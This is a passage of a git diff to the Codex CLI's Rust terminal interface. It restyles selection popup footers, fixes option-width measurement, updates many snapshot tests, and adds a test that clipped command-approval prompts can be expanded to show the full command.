"render_bottom_popup(&app.chat_widget,\nwidth).replace(r\"C:\\cli-build\\bin\\codex\", \"/x/cli-build/bin/codex\")" --- Update daemon and exit Codex? - Install the latest public stable release (version resolved when the command - runs). Production update eligibility will be restored; your automatic-update - setting is preserved. - The daemon will restart if needed. Active or queued work may be interrupted. - Codex will exit and run the update in this terminal, then return to the - shell. Relaunch Codex afterward. + Install the latest public stable release. Restore production updates; keep + your automatic-update setting. + This may restart the daemon and interrupt active or queued work. + Codex exits to update in this terminal. Relaunch it afterward. + › 1. Cancel 2. Update and exit - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_unpackaged_cli.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_unpackaged_cli.snap index 17f12ed62e..af37495bb2 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_unpackaged_cli.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_unpackaged_cli.snap @@ -5,8 +5,8 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Daemon Not connected to the local background server. -› 1. Install latest public stable - Use this CLI build (disabled) disabled: This CLI has no local package to - copy. - Press enter to confirm or esc to go back +› 1. Install latest public stable + Use this CLI build (disabled) This CLI has no local package to copy. + + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/background_exit_tests.rs b/codex-rs/tui/src/app/tests/background_exit_tests.rs index eecc7b7ea9..57cb0afdbe 100644 --- a/codex-rs/tui/src/app/tests/background_exit_tests.rs +++ b/codex-rs/tui/src/app/tests/background_exit_tests.rs @@ -221,16 +221,11 @@ async fn daemon_ctrl_c_shows_background_exit_menu_and_escape_dismisses_it() -> R open_running_task_exit_menu(&mut app, &mut tui, &mut app_server).await; assert!(!app.chat_widget.no_modal_or_popup_active()); - assert_snapshot!(render_bottom_popup(&app.chat_widget, /*width*/ 90), @r" - Task is still running - Choose what happens to the current task. - - › 1. Cancel task Stop the current task and stay in Codex - 2. Run in background Exit Codex and leave the task running - 3. Exit Stop the current task and exit Codex - - Press enter to confirm or esc to go back - "); + for width in [40, 90] { + let rendered = render_bottom_popup(&app.chat_widget, width); + assert!(rendered.contains("enter select · esc back"), "{rendered}"); + insta::assert_snapshot!(format!("running_task_exit_picker_{width}"), rendered); + } app.handle_key_event( &mut tui, @@ -489,14 +484,15 @@ async fn daemon_ctrl_c_hides_background_exit_for_running_background_side_thread( prepare_background_exit_test(&app, &mut app_event_rx, &mut op_rx).await?; open_running_task_exit_menu(&mut app, &mut tui, &mut app_server).await; - assert_snapshot!(render_bottom_popup(&app.chat_widget, /*width*/ 90), @r" + assert_snapshot!(render_bottom_popup(&app.chat_widget, /*width*/ 90), @" Task is still running Choose what happens to the current task. + › 1. Cancel task Stop the current task and stay in Codex 2. Exit Stop the current task and exit Codex - Press enter to confirm or esc to go back + enter select · esc back "); app.chat_widget .handle_key_event(KeyEvent::new(KeyCode::Down, KeyModifiers::NONE)); diff --git a/codex-rs/tui/src/app/tests/disconnect_tests.rs b/codex-rs/tui/src/app/tests/disconnect_tests.rs index b1ed8d1e6b..269455babb 100644 --- a/codex-rs/tui/src/app/tests/disconnect_tests.rs +++ b/codex-rs/tui/src/app/tests/disconnect_tests.rs @@ -53,6 +53,7 @@ async fn lost_mutation_reply_preserves_work_without_resubmitting() -> Result<()> let overview = app.agents_overview_view(Vec::new(), /*selected_thread_id*/ None); app.chat_widget.show_bottom_pane_view(Box::new(overview)); app.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, items: vec![SelectionItem { name: "Stale server action".into(), actions: vec![Box::new(|tx| tx.send(AppEvent::CodexOp(Op::Interrupt)))], diff --git a/codex-rs/tui/src/app/tests/key_chords.rs b/codex-rs/tui/src/app/tests/key_chords.rs index 04436675a5..75d1038f4c 100644 --- a/codex-rs/tui/src/app/tests/key_chords.rs +++ b/codex-rs/tui/src/app/tests/key_chords.rs @@ -496,6 +496,7 @@ async fn physical_dispatch_band_events_are_dropped() -> Result<()> { async fn physical_chords_route_list_and_mixed_request_input_modals() -> Result<()> { let (mut app, mut tui, mut app_server) = chord_app().await?; app.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some("list"), items: ["First", "Second"] .into_iter() diff --git a/codex-rs/tui/src/app/tests/session_lifecycle_requests.rs b/codex-rs/tui/src/app/tests/session_lifecycle_requests.rs index 8b752eddd1..3ee3a2ecc5 100644 --- a/codex-rs/tui/src/app/tests/session_lifecycle_requests.rs +++ b/codex-rs/tui/src/app/tests/session_lifecycle_requests.rs @@ -4335,10 +4335,11 @@ fn session_lifecycle_avoids_redundant_subagent_metadata_reads() -> Result<()> { Subagents Select an agent to watch. ⌥+← previous, ⌥+→ next. + › 1. • Main [default] (current) [root] 2. • /root/worker [child] - Press enter to confirm or esc to go back + enter select · esc back " ); assert_eq!(take_backfill_counts(&requests), (0, 0)); @@ -4653,9 +4654,10 @@ async fn command_center_read_only_open_requests_and_failure_preservation() -> Re Unable to complete action Couldn't load this conversation. Please try again. + › 1. Return to command center - Press enter to confirm or esc to go back + enter select · esc back "); } assert_eq!(app.current_displayed_thread_id(), Some(current_id)); diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__backend_banner_after_fallback.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__backend_banner_after_fallback.snap index 8fd3c202a1..210166676e 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__backend_banner_after_fallback.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__backend_banner_after_fallback.snap @@ -4,6 +4,7 @@ expression: normalize_snapshot_paths(rendered) --- Selected model usage exhausted Add credits to use this model again. + › 1. View usage Press a number to choose · esc to dismiss · type to continue diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__luna_reserve_settings_unavailable.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__luna_reserve_settings_unavailable.snap index bae8c11321..221a3f2469 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__luna_reserve_settings_unavailable.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__backend_banner_fallback_tests__luna_reserve_settings_unavailable.snap @@ -5,6 +5,7 @@ expression: normalize_snapshot_paths(rendered) Usage limit reached Your included usage is exhausted. Choose an option below to continue. + › 1. Add credits - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_40.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_40.snap new file mode 100644 index 0000000000..e4a854e8fa --- /dev/null +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_40.snap @@ -0,0 +1,15 @@ +--- +source: tui/src/app/tests/background_exit_tests.rs +assertion_line: 227 +expression: rendered +--- + Task is still running + Choose what happens to the current + task. + + +› 1. Cancel task + 2. Run in background + 3. Exit + + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_90.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_90.snap new file mode 100644 index 0000000000..741e3aecb3 --- /dev/null +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_90.snap @@ -0,0 +1,13 @@ +--- +source: tui/src/app/tests/background_exit_tests.rs +expression: rendered +--- + Task is still running + Choose what happens to the current task. + + +› 1. Cancel task Stop the current task and stay in Codex + 2. Run in background Exit Codex and leave the task running + 3. Exit Stop the current task and exit Codex + + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_pending_server_permissions.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_pending_server_permissions.snap index 980c304f2d..bd7838ae7c 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_pending_server_permissions.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_pending_server_permissions.snap @@ -5,6 +5,7 @@ expression: "crate::chatwidget::tests::helpers::render_bottom_popup(&app.chat_wi Unable to complete action Wait for permissions to update before starting a session. + › 1. Return to command center - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_retained_worktree_error.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_retained_worktree_error.snap index c8d6f282a4..f0b8a460d1 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_retained_worktree_error.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_retained_worktree_error.snap @@ -5,6 +5,7 @@ expression: "rendered.replace(&unused.root.display().to_string(), \"\" Unable to complete action Failed to start session: thread/start failed during TUI bootstrap: thread/start failed: replacement unavailable (code -32603) A checkout was retained at ; remove it with `git worktree remove ` from the source repository if it is no longer needed. + › 1. Return to command center - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_session_start_error.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_session_start_error.snap index 6041f1da37..463c3d6adb 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_session_start_error.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_task_defaults_tests__command_center_session_start_error.snap @@ -6,6 +6,7 @@ expression: "crate::chatwidget::tests::helpers::render_bottom_popup(&app.chat_wi Failed to start session: thread/start failed during TUI bootstrap: thread/ start failed: replacement unavailable (code -32603) + › 1. Return to command center - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__misalignment_policy__misalignment_continue_failed.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__misalignment_policy__misalignment_continue_failed.snap index 54a988af48..04fc89a935 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__misalignment_policy__misalignment_continue_failed.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__misalignment_policy__misalignment_continue_failed.snap @@ -7,6 +7,7 @@ expression: "format!(\"{errors}\\n{}\", render_bottom_popup(&app.chat_widget, 80 We couldn’t confirm the agent was interpreting your instructions correctly. Review what we detected before deciding to continue. + › 1. Review findings 2. New chat 3. Resume another chat diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker.snap index 74eba06dee..dd5a86c6f8 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker.snap @@ -1,11 +1,11 @@ --- source: tui/src/app/tests/realtime_requests.rs -assertion_line: 1638 expression: "crate::chatwidget::tests::helpers::render_bottom_popup(&app.chat_widget, 80)" --- Select voice Applies to your next voice conversation. + 1. juniper 2. maple 3. spruce @@ -14,5 +14,5 @@ expression: "crate::chatwidget::tests::helpers::render_bottom_popup(&app.chat_wi 6. breeze 7. arbor › 8. sol (current) - - Press enter to confirm or esc to go back +↓ + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker_server_default.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker_server_default.snap index ca2b2cb7a5..7c6af54461 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker_server_default.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__realtime_requests__remote_voice_picker_server_default.snap @@ -1,13 +1,13 @@ --- source: tui/src/app/tests/realtime_requests.rs -assertion_line: 1721 expression: popup --- Select voice Applies to your next voice conversation. + › 1. maple (current) 2. cove 3. juniper - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__inactive_thread_user_verification_prompt.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__inactive_thread_user_verification_prompt.snap index 4087c6a561..c8de6a573e 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__inactive_thread_user_verification_prompt.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__inactive_thread_user_verification_prompt.snap @@ -1,6 +1,5 @@ --- -source: tui/src/app/tests/user_verification_routes.rs -assertion_line: 67 +source: tui/src/app/tests/user_verification_routes_tests.rs expression: "render_bottom_popup(&app.chat_widget, 80)" --- Approve deployment? @@ -11,6 +10,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Verify the production deployment. + › 1. Verify and approve (y) 2. Cancel this request (c) diff --git a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__side_toggle_surfaces_pending_user_verification.snap b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__side_toggle_surfaces_pending_user_verification.snap index d0e5c5a673..c8de6a573e 100644 --- a/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__side_toggle_surfaces_pending_user_verification.snap +++ b/codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__user_verification_routes__side_toggle_surfaces_pending_user_verification.snap @@ -1,5 +1,5 @@ --- -source: tui/src/app/tests/user_verification_routes.rs +source: tui/src/app/tests/user_verification_routes_tests.rs expression: "render_bottom_popup(&app.chat_widget, 80)" --- Approve deployment? @@ -10,6 +10,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Verify the production deployment. + › 1. Verify and approve (y) 2. Cancel this request (c) diff --git a/codex-rs/tui/src/app/thread_goal_actions.rs b/codex-rs/tui/src/app/thread_goal_actions.rs index e1557e68f1..cb6c96e3f9 100644 --- a/codex-rs/tui/src/app/thread_goal_actions.rs +++ b/codex-rs/tui/src/app/thread_goal_actions.rs @@ -317,6 +317,7 @@ impl App { }, ]; self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Replace goal?".to_string()), subtitle: Some(format!( "New objective: {}", @@ -324,7 +325,7 @@ impl App { )), footer_hint: Some(standard_popup_hint_line()), items, - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/bottom_pane/actionable_banner.rs b/codex-rs/tui/src/bottom_pane/actionable_banner.rs index 65750afcfa..88da2f59a0 100644 --- a/codex-rs/tui/src/bottom_pane/actionable_banner.rs +++ b/codex-rs/tui/src/bottom_pane/actionable_banner.rs @@ -153,7 +153,7 @@ impl From for SelectionViewParams { header: Box::new(BannerContent(lines)), items: banner.actions, initial_selected_idx: banner.initial_selected_idx, - ..Default::default() + ..Self::picker() } } } diff --git a/codex-rs/tui/src/bottom_pane/approval_overlay.rs b/codex-rs/tui/src/bottom_pane/approval_overlay.rs index 836cd1dba5..2ea63d8503 100644 --- a/codex-rs/tui/src/bottom_pane/approval_overlay.rs +++ b/codex-rs/tui/src/bottom_pane/approval_overlay.rs @@ -315,6 +315,8 @@ impl ApprovalOverlay { footer_hint: Some(approval_footer_hint(request, approval_keymap, list_keymap)), items, header, + header_view_all_hint: approval_keymap + .primary_hint("open_fullscreen", &approval_keymap.open_fullscreen), ..Default::default() }; @@ -2508,3 +2510,7 @@ mod tests { assert_eq!(decision, Some(CommandExecutionApprovalDecision::Accept)); } } + +#[cfg(test)] +#[path = "approval_overlay/clipping_tests.rs"] +mod clipping_tests; diff --git a/codex-rs/tui/src/bottom_pane/approval_overlay/clipping_tests.rs b/codex-rs/tui/src/bottom_pane/approval_overlay/clipping_tests.rs new file mode 100644 index 0000000000..c7df208a7c --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/approval_overlay/clipping_tests.rs @@ -0,0 +1,101 @@ +//! Clipped approval headers expose the configured route to their complete payload. + +use super::*; +use crate::keymap::RuntimeKeymap; +use pretty_assertions::assert_eq; + +#[test] +fn clipped_exec_approval_opens_the_complete_command() { + let command = format!( + "{}printf destructive_suffix", + "printf benign\n".repeat(/*n*/ 20) + ); + let reason = format!( + "{}reason_suffix", + "A reason requiring review.\n".repeat(/*n*/ 20) + ); + let mut snapshots = Vec::new(); + for binding in [Some(key_hint::ctrl(KeyCode::Char('g'))), None] { + let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel(); + let mut keymap = RuntimeKeymap::defaults(); + keymap.approval.open_fullscreen = binding.into_iter().collect(); + let mut view = ApprovalOverlay::new( + ApprovalRequest::Exec(ExecApprovalRequest { + kind: Default::default(), + thread_id: ThreadId::new(), + thread_label: None, + id: "clipped-approval".into(), + environment_id: Some("local".into()), + command: vec!["sh".into(), "-c".into(), command.clone()], + reason: Some(reason.clone()), + available_decisions: vec![ + CommandExecutionApprovalDecision::Accept, + CommandExecutionApprovalDecision::Cancel, + ], + network_approval_context: None, + additional_permissions: None, + }), + AppEventSender::new(tx), + Features::with_defaults(), + keymap.approval, + keymap.list, + ); + for (width, height) in [(80, 14), (40, 10)] { + let area = Rect::new(/*x*/ 0, /*y*/ 0, width, height); + let mut buffer = Buffer::empty(area); + view.render(area, &mut buffer); + let rows: Vec = (0..height) + .map(|y| { + (0..width) + .map(|x| buffer[(x, y)].symbol()) + .collect::() + .trim_end() + .to_owned() + }) + .collect(); + let elision = rows.iter().find(|row| row.contains("[…")).unwrap(); + assert_eq!(elision.contains("ctrl+g view all"), binding.is_some()); + assert!(rows.iter().any(|row| row.contains("esc"))); + assert!(!rows.iter().any(|row| row.contains("destructive_suffix"))); + assert!(!rows.iter().any(|row| row.contains("reason_suffix"))); + assert!(rows.iter().any(|row| row.contains("Yes, proceed"))); + snapshots.push(format!( + "bound={} {width}x{height}\n{}", + binding.is_some(), + rows.join("\n") + )); + } + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + /*width*/ 80, + view.desired_height(/*width*/ 80), + ); + let mut buffer = Buffer::empty(area); + view.render(area, &mut buffer); + let complete = buffer + .content + .iter() + .map(ratatui::buffer::Cell::symbol) + .collect::(); + assert!(complete.contains("destructive_suffix")); + assert!(complete.contains("reason_suffix")); + assert!(!complete.contains("[…")); + if binding.is_some() { + view.handle_key_event(KeyEvent::new(KeyCode::Char('g'), KeyModifiers::CONTROL)); + let AppEvent::FullScreenApprovalRequest(ApprovalRequest::Exec(request)) = + rx.try_recv().unwrap() + else { + panic!("fullscreen should open the original approval"); + }; + assert_eq!( + request.command, + vec!["sh".to_owned(), "-c".to_owned(), command.clone()] + ); + assert_eq!(request.reason, Some(reason.clone())); + assert!(!view.is_complete()); + assert!(rx.try_recv().is_err()); + } + } + insta::assert_snapshot!(snapshots.join("\n\n")); +} diff --git a/codex-rs/tui/src/bottom_pane/approval_overlay/snapshots/codex_tui__bottom_pane__approval_overlay__clipping_tests__clipped_exec_approval_opens_the_complete_command.snap b/codex-rs/tui/src/bottom_pane/approval_overlay/snapshots/codex_tui__bottom_pane__approval_overlay__clipping_tests__clipped_exec_approval_opens_the_complete_command.snap new file mode 100644 index 0000000000..242e6a2db5 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/approval_overlay/snapshots/codex_tui__bottom_pane__approval_overlay__clipping_tests__clipped_exec_approval_opens_the_complete_command.snap @@ -0,0 +1,60 @@ +--- +source: tui/src/bottom_pane/approval_overlay/clipping_tests.rs +assertion_line: 100 +expression: "snapshots.join(\"\\n\\n\")" +--- +bound=true 80x14 + + Would you like to run the following command? + + Environment: local + + Reason: A reason requiring review.A reason requiring review.A reason + requiring review.A reason requiring review.A reason requiring review.A + reason requiring review.A reason requiring review.A reason requiring + [… 34 lines] ctrl+g view all + +› 1. Yes, proceed (y) + 2. No, and tell Codex what to do differently (esc) + + Press enter to confirm or esc to cancel + +bound=true 40x10 + + Would you like to run the following + + [… 42 lines] ctrl+g view all + +› 1. Yes, proceed (y) + 2. No, and tell Codex what to do + differently (esc) + + Press enter to confirm or esc to cance + +bound=false 80x14 + + Would you like to run the following command? + + Environment: local + + Reason: A reason requiring review.A reason requiring review.A reason + requiring review.A reason requiring review.A reason requiring review.A + reason requiring review.A reason requiring review.A reason requiring + [… 34 lines] + +› 1. Yes, proceed (y) + 2. No, and tell Codex what to do differently (esc) + + Press enter to confirm or esc to cancel + +bound=false 40x10 + + Would you like to run the following + + [… 42 lines] + +› 1. Yes, proceed (y) + 2. No, and tell Codex what to do + differently (esc) + + Press enter to confirm or esc to cance diff --git a/codex-rs/tui/src/bottom_pane/async_questions/input.rs b/codex-rs/tui/src/bottom_pane/async_questions/input.rs index 6d5571f1fc..a240c2c94e 100644 --- a/codex-rs/tui/src/bottom_pane/async_questions/input.rs +++ b/codex-rs/tui/src/bottom_pane/async_questions/input.rs @@ -87,18 +87,17 @@ impl AsyncQuestions { use ratatui::text::Line; use ratatui::widgets::Widget; - let row_width = area.width.saturating_add(1); let input = self.other_input_area(area); let named_area = Rect::new(area.x, area.y, area.width, input.y.saturating_sub(area.y)); let mut rows = self.option_rows(); rows.pop(); let mut state = ScrollState::default(); while state.scroll_top + 1 < rows.len() - && measure_rows_height(&rows, &state, rows.len(), row_width) > named_area.height + && measure_rows_height(&rows, &state, rows.len(), named_area.width) > named_area.height { state.scroll_top += 1; } - if measure_rows_height(&rows, &state, rows.len(), row_width) <= named_area.height { + if measure_rows_height(&rows, &state, rows.len(), named_area.width) <= named_area.height { self.visible_options .set((state.scroll_top, rows.len() - state.scroll_top)); } diff --git a/codex-rs/tui/src/bottom_pane/async_questions/mod.rs b/codex-rs/tui/src/bottom_pane/async_questions/mod.rs index 47f6d92693..0c5badfbdb 100644 --- a/codex-rs/tui/src/bottom_pane/async_questions/mod.rs +++ b/codex-rs/tui/src/bottom_pane/async_questions/mod.rs @@ -196,7 +196,6 @@ impl AsyncQuestions { if !self.has_options() { return 0; } - let row_width = width.saturating_add(1); let rows = self.option_rows(); if self.other_selected() { let prefix = self.other_prefix_width(width); @@ -204,13 +203,13 @@ impl AsyncQuestions { &rows[..rows.len() - 1], &ScrollState::default(), rows.len(), - row_width, + width, ) + self .composer .inline_input_height(width.saturating_sub(prefix).max(1)) .clamp(1, 8) } else { - measure_rows_height(&rows, &ScrollState::default(), rows.len(), row_width) + measure_rows_height(&rows, &ScrollState::default(), rows.len(), width) } } diff --git a/codex-rs/tui/src/bottom_pane/async_questions/render.rs b/codex-rs/tui/src/bottom_pane/async_questions/render.rs index d65cb21d5c..e712579da6 100644 --- a/codex-rs/tui/src/bottom_pane/async_questions/render.rs +++ b/codex-rs/tui/src/bottom_pane/async_questions/render.rs @@ -54,7 +54,6 @@ impl Renderable for AsyncQuestions { .bold() .render(sections.question_area, buf); - // The shared measurer reserves a scrollbar column; this renderer uses the full width. let option_rows = self.option_rows(); if self.other_selected() { @@ -69,7 +68,7 @@ impl Renderable for AsyncQuestions { std::slice::from_ref(row), &super::ScrollState::default(), /*max_results*/ 1, - sections.options_area.width.saturating_add(1), + sections.options_area.width, ) }) .collect(); diff --git a/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_options_width_boundary.snap b/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_options_width_boundary.snap new file mode 100644 index 0000000000..b141809437 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_options_width_boundary.snap @@ -0,0 +1,23 @@ +--- +source: tui/src/bottom_pane/async_questions/state_tests.rs +expression: "format!(\"Full height:\\n{}\\n\\nClipped:\\n{}\", buffer_text(&buffer),\nbuffer_text(&clipped),)" +--- +Full height: + + Second + + › 1. abcdefgh + ijklmno + 2. pqrstuvw + xyzabcd + 3. Other + + enter submit + ctrl+] skip + ⌥+↓ main prompt + + +Clipped: + + Second + › 1. abcdefgh diff --git a/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_other_clipped_width_boundary.snap b/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_other_clipped_width_boundary.snap new file mode 100644 index 0000000000..2ecaef6393 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_other_clipped_width_boundary.snap @@ -0,0 +1,6 @@ +--- +source: tui/src/bottom_pane/async_questions/state_tests.rs +expression: buffer_text(&buffer) +--- + 2. pqrstuvw +› 3. Other diff --git a/codex-rs/tui/src/bottom_pane/async_questions/state_tests.rs b/codex-rs/tui/src/bottom_pane/async_questions/state_tests.rs index 12f3c35fe6..7d39e850f5 100644 --- a/codex-rs/tui/src/bottom_pane/async_questions/state_tests.rs +++ b/codex-rs/tui/src/bottom_pane/async_questions/state_tests.rs @@ -241,6 +241,62 @@ fn question_other_remains_visible_at_nine_columns_and_distinguishes_named_other( insta::assert_snapshot!("question_narrow_other", buffer_text(&buffer)); } +#[test] +fn question_options_reserve_wrapped_height_at_the_width_boundary() { + let mut editor = editor(); + editor.state.pending.remove(/*index*/ 0); + editor.state.pending[0].question.options = + Some(vec!["abcdefgh ijklmno".into(), "pqrstuvw xyzabcd".into()]); + editor.restore_current_draft(); + + // The five-column option prefix makes each named choice exactly 21 columns. + assert_eq!( + ( + editor.options_required_height(/*width*/ 20), + editor.options_required_height(/*width*/ 21), + ), + (5, 3) + ); + let width = 24; + let buffer = render_editor(&editor, width, editor.desired_height(width)); + assert_eq!(editor.visible_options.get(), (0, 3)); + + // Two padding rows and the question leave only one line of the selected two-line option. + let clipped = render_editor(&editor, width, /*height*/ 4); + assert_eq!(editor.visible_options.get(), (0, 0)); + editor.go_next_or_submit(); + assert!(editor.submission.is_none()); + insta::assert_snapshot!( + "question_options_width_boundary", + format!( + "Full height:\n{}\n\nClipped:\n{}", + buffer_text(&buffer), + buffer_text(&clipped), + ) + ); +} + +#[test] +fn question_other_excludes_clipped_options_at_the_width_boundary() { + let mut editor = editor(); + editor.state.pending.remove(/*index*/ 0); + editor.state.pending[0].question.options = + Some(vec!["abcdefgh ijklmno".into(), "pqrstuvw xyzabcd".into()]); + editor.select_option(/*index*/ 2); + + // Other keeps one input row, leaving too little room for a complete named choice. + let area = Rect::new( + /*x*/ 0, /*y*/ 0, /*width*/ 20, /*height*/ 2, + ); + let mut buffer = Buffer::empty(area); + editor.render_inline_options(area, &mut buffer); + assert_eq!(editor.visible_options.get(), (0, 0)); + insta::assert_snapshot!( + "question_other_clipped_width_boundary", + buffer_text(&buffer) + ); +} + #[test] fn question_wrapped_options_and_other_share_the_text_indent() { let mut editor = editor(); diff --git a/codex-rs/tui/src/bottom_pane/command_popup.rs b/codex-rs/tui/src/bottom_pane/command_popup.rs index 05108a1d1c..618a6e99c1 100644 --- a/codex-rs/tui/src/bottom_pane/command_popup.rs +++ b/codex-rs/tui/src/bottom_pane/command_popup.rs @@ -21,6 +21,7 @@ use crate::slash_command::SlashCommand; // `quit` is an alias of `exit`, and `btw` is an alias of `side`, so we skip // those aliases here. const ALIAS_COMMANDS: &[SlashCommand] = &[SlashCommand::Quit, SlashCommand::Btw]; +const COMMAND_LEFT_INSET: u16 = 2; const COMMAND_COLUMN_WIDTH: ColumnWidthConfig = ColumnWidthConfig::new( ColumnWidthMode::AutoAllRows, /*name_column_width*/ None, @@ -137,7 +138,7 @@ impl CommandPopup { &rows, &self.state, MAX_POPUP_ROWS, - width, + width.saturating_sub(COMMAND_LEFT_INSET), COMMAND_COLUMN_WIDTH, ) } @@ -269,7 +270,10 @@ impl WidgetRef for CommandPopup { let rows = self.rows_from_matches(self.filtered()); render_rows_with_col_width_mode( area.inset(Insets::tlbr( - /*top*/ 0, /*left*/ 2, /*bottom*/ 0, /*right*/ 0, + /*top*/ 0, + COMMAND_LEFT_INSET, + /*bottom*/ 0, + /*right*/ 0, )), buf, &rows, @@ -370,6 +374,51 @@ mod tests { ); } + #[test] + fn command_popup_wrap_boundary_preserves_following_choice() { + let mut popup = CommandPopup::new( + CommandPopupFlags { + service_tier_commands_enabled: true, + ..CommandPopupFlags::default() + }, + vec![ + ServiceTierCommand { + id: "priority".to_string(), + name: "tier-one".to_string(), + description: "Use faster inference".to_string(), + }, + ServiceTierCommand { + id: "default".to_string(), + name: "tier-two".to_string(), + description: "Keep default speed".to_string(), + }, + ], + ); + popup.on_composer_text_change("/tier".to_string()); + + // The first description exactly fits at width 33, including the left inset. + // Rendering at the requested height must also retain the second choice + // when the first description wraps one column below that boundary. + let mut snapshots = Vec::new(); + for width in [32, 33, 34] { + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + popup.calculate_required_height(width), + ); + let mut buf = Buffer::empty(area); + 